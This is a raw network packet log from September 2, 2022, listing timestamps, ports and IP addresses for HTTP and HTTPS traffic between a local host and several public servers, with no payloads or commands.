Sep 2, 2022 14:02:26.630882978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631310940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631367922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631381989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631390095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631397963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631426096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631453037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631470919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631484032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631580114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631685972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631702900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631716967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.631741047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.631759882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632030964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632083893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632112026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632124901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632163048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632354975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632390976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632402897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632406950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632436037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632716894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632776976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632791042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632803917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.632839918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.632947922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633029938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.633032084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633044004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633083105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.633375883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633392096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633404970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633429050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.633502007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.633815050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633891106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.633974075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.633987904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.634042978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.634144068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.634162903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.634198904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.634202003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.634236097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.635991096 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.636027098 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.636132956 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.636158943 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.636177063 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.636212111 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.641339064 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.641386032 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.641486883 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.641516924 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.641541004 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.641558886 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.646958113 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.647046089 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.647202969 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.647289991 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.647341013 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.647351980 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.652214050 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.652280092 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.652324915 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.652357101 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.652375937 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.652396917 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.657948017 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.658000946 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.658049107 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658108950 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.658134937 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.658140898 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658154011 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.658174038 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.658206940 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.658238888 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658337116 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.658366919 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658435106 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.658447981 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658466101 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:26.658488989 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.658514023 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:26.662188053 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.662225008 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.662309885 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.662327051 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.662362099 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.662389040 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.665808916 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.665843010 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.665927887 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.665941000 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.665966988 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.665990114 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.669534922 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.669581890 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.669657946 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.669672012 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.669723034 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.669739962 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.672467947 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.672501087 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.672583103 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.672596931 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.672622919 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.672641039 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.678220987 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.678255081 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.678390980 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.678404093 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.678447008 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.679930925 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.679958105 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.680049896 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.680059910 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.680089951 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.680114031 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.682457924 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.682488918 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.682549953 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.682563066 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.682581902 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.682604074 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.685388088 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.685415030 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.685487986 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.685499907 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.685528994 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.685566902 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.688254118 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.688277960 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.688369989 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.688379049 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.688441992 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.690917969 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.690941095 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.691032887 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.691044092 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.691081047 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.691098928 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.693865061 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.693887949 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.693985939 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.693995953 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.694006920 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.694042921 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.696388960 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.696418047 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.696506023 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.696525097 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.696536064 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.696578979 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.698896885 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.698932886 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.699011087 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.699050903 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:26.777704000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777728081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777740955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777755022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777767897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777776003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.777862072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.777944088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.777997017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778014898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778033018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778049946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778084040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778100014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778111935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778173923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778187990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778249979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778682947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778702021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778713942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778753996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778939009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778955936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778968096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.778981924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.778990030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.779030085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.779716969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779791117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.779907942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779922009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779938936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779963017 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.779978037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779989958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.779994965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.780025959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.780340910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780405998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.780424118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780436039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780452967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780481100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.780531883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.780601978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780616999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.780664921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.781174898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781193972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781208038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781229973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781230927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.781246901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781258106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:26.781260967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.781280994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.781317949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:26.903381109 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:26.903580904 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.111382008 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.111598015 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.334799051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:27.335024118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:27.551373959 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.551465034 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.573728085 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.573776007 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.582691908 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.582732916 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.582750082 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.582876921 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.582885981 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.582899094 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.582967997 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.582974911 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583007097 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583012104 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583020926 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583045959 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583050966 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583085060 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583091021 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583102942 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583125114 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583129883 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583168030 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583173037 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583208084 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583214998 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583225965 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583239079 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583272934 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583278894 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583312988 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583313942 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583348036 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583381891 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583383083 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583404064 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583420992 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583453894 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583472967 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583498955 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583499908 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583514929 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583539009 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583543062 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583569050 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583574057 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583583117 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583600998 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583606958 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583607912 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583637953 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583642006 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583650112 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583673954 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583683968 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583677053 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.583688021 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583714008 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.583715916 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.583720922 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583753109 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583775997 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.583792925 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.587081909 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.587115049 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.587196112 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.590272903 CEST	49805	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.590300083 CEST	443	49805	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.647869110 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.647927046 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:27.648036003 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:27.648243904 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.648317099 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.648987055 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:27.649080038 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.650316000 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:27.660352945 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.660382986 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.660487890 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.661842108 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.661856890 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.661875963 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.661990881 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662002087 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662040949 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662050009 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662070036 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662082911 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662091017 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662105083 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662144899 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662156105 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662173033 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662190914 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662198067 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662237883 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662247896 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662275076 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662281990 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662297010 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662343979 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:27.662353992 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:27.662370920 CEST	49803	443	192.168.2.6	95.142.206.1
